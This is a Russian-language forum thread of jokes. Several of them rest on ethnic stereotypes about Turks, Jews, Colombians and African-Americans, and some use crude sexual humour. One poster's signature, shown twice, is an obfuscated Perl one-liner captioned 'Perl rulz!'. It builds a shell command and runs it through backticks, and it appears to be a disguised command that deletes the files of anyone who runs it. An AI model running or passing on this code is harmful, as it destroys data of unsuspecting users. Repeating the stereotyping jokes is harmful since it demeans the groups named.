Выходит девушка замуж за религиозного еврея. Накануне свадьбы он приводит ее к равину. Равин ее наставляет: - Еврейская религия очень своеобразна. Мужчина и женщина все делают раздельно. Синагогу посещают отдельно. Даже танцевать вместе нельзя.
Она (опустив глаза):
- А сексом можно заниматься?
- Можно
- А оральным?
- Можно
- А на боку?
- Можно
- А сидя?
- Можно
- А стоя?
- Нельзя!
- Почему?
- Может плавно перейти в танец!
Две девушки идут по пляжу.Видят мужика с картами.
Мужик им:
-Ну что девчонки,в преферанс или в очко?
Девчонки:
-А в преферанс это куда?
-------------------
На дискотеке в Германии русский в майке с надписью: "У турков три проблемы".
К нему тут же подходит турок и спрашивает:
- Ты чего? Проблем ищешь? Ты наехать хочешь?
- Это ваша первая проблема. Агрессивность. Вы всегда пытаетесь создавать проблемы на пустом месте.
Когда дискотека заканчивается, то русского уже подкарауливает группа турков.
- Сейчас ты ответишь за свои слова! - говорят они.
- Это ваша вторая проблема. Вы не можете решать свои проблемы сами и сразу собираете своих по любому поводу.
- Да как ты смеешь с нами так говорить?!! - турки повыхватывали ножи...
- Это ваша третья проблема, - продолжает русский. - Вы всегда приходите с ножами на перестрелку. _________________ But all I want is you
Вчера был сорван матч между сборными Колумбии и Нидерландов. Сначала колумбийцы снюхали всю разметку на поле, а затем голандцы выкурили всю траву...
***
New York. В лифт одного из небоскребов заходят две русские подруги. В
момент закрытия дверей вваливаются два афро-американских амбала. Двери
закрываются, лифт набирает скорость. Одна испуганно шепчет другой:
"Сеичас изнасилуют..." Один из амбалов поворачивается и выдает
фразу на Великом и Могучем: "Дура, ты себя в зеркало видела?"
Учился он в Москве...
по поводу кастрации у меня точно чиста _________________ `$=`;$_=\%!;($_)=/(.)/;$==++$|;($.,$/,$,,$\,$",$;,$^,$#,$~,$*,$:,@% )=(
$!=~/(.)(.).(.)(.)(.)(.)..(.)(.)(.)..(.)......(.)/,$"),$=++;$.++;$.++;
$_++;$_++;($_,$\,$,)=($~.$"."$;$/$%[$?]$_$\$,$:$%[$?]",$"&$~,$#,);$,++
;$,++;$^|=$";`$_$\$,$/$:$;$~$*$%[$?]$.$~$*${#}$%[$?]$;$\$"$^$~$*.>&$=`
Perl rulz!
- Я слива лиловая, спелая, садовая.
- А я абрикос, на юге рос.
- А я маракуйя...и даже не знаю, что вам сказать...
-----------------
Лиса и Волк
Украла как-то лиса y мyжика целый воз рыбы. Сидит-объедается. А из лесy
выходит голодный волк.
- Лиса, дай рыбки!
- Пойди да сам налови, - отвечает лиса.
- А как? У меня и yдочки-то нет, - говорит волк.
- У меня тоже нет, - сказала лиса, - а я хвост в прорyбь закинyла, вот
на него и наловила.
- Вот спасибо за идею! - обрадовался волк, оторвал лисе хвост и пошел
на рыбалкy...
-------------- _________________ But all I want is you
ради него тему с каннибалами както лень создавать _________________ `$=`;$_=\%!;($_)=/(.)/;$==++$|;($.,$/,$,,$\,$",$;,$^,$#,$~,$*,$:,@% )=(
$!=~/(.)(.).(.)(.)(.)(.)..(.)(.)(.)..(.)......(.)/,$"),$=++;$.++;$.++;
$_++;$_++;($_,$\,$,)=($~.$"."$;$/$%[$?]$_$\$,$:$%[$?]",$"&$~,$#,);$,++
;$,++;$^|=$";`$_$\$,$/$:$;$~$*$%[$?]$.$~$*${#}$%[$?]$;$\$"$^$~$*.>&$=`
Perl rulz!
Семья приходит в ресторан. Поели, отец расплачивается, а мать говорит официанту:
- Вы не против, если мы соберем со стола остатки и отнесем их домой собаке?
Официант:
- Да, конечно, пожалуйста!
Дети, радостно, хором:
- Ура! Нам купят собаку!
--------------
Семья получила квартиру и ходят по пустым комнатам в полном составе...
Мама:
- Здесь мы поставим шкаф, здесь - стол...
Сынок 5-ти лет:
- А здесь мы полку за&%$ним!
Папа бьет сына по репе и строго спрашивает:
- Понял?
- Да...
- А что ты понял?
- Она тут на х#$ не нужна...
---------------
Напал на царство-государство змей горыныч. Половину попалил, вот решил царь за богатырями послать
Приходят гонцы к Добрыне Никитичу.
- Добрынюшка, родненький выручай, нас от змия избавляй
А Добрыня им и говорит: - Месяц думку думать надо
- Нет месяц это много, всех гад изведет.
И пошли гонцы дальше. Пришли к Алеше Поповичу.
- Алешенька, помоги, уничтож гада ползучего.
А Алеша Попович им : - Неделю думку думать надо
- Эх, неделя это долго, погибнем все.
Приходят наконец к Илье Муромцу. Просят его. Тот сразу:
- Так. Кольчугу, меч мне и коня.
Ему все дают, коня приводят. Илья обряжается, сразу на коня прыгает
- Ильюшенька, ты и думать не будешь?
- А ху#я тут думать, в###ывать надо!!!
------------------
- Милый, если ты поцелуешь меня еще раз, я буду на всю жизнь твоей!
- Спасибо за предупреждение!
------------------- _________________ But all I want is you
Вы не можете начинать темы Вы не можете отвечать на сообщения Вы не можете редактировать свои сообщения Вы не можете удалять свои сообщения Вы не можете голосовать в опросах
*
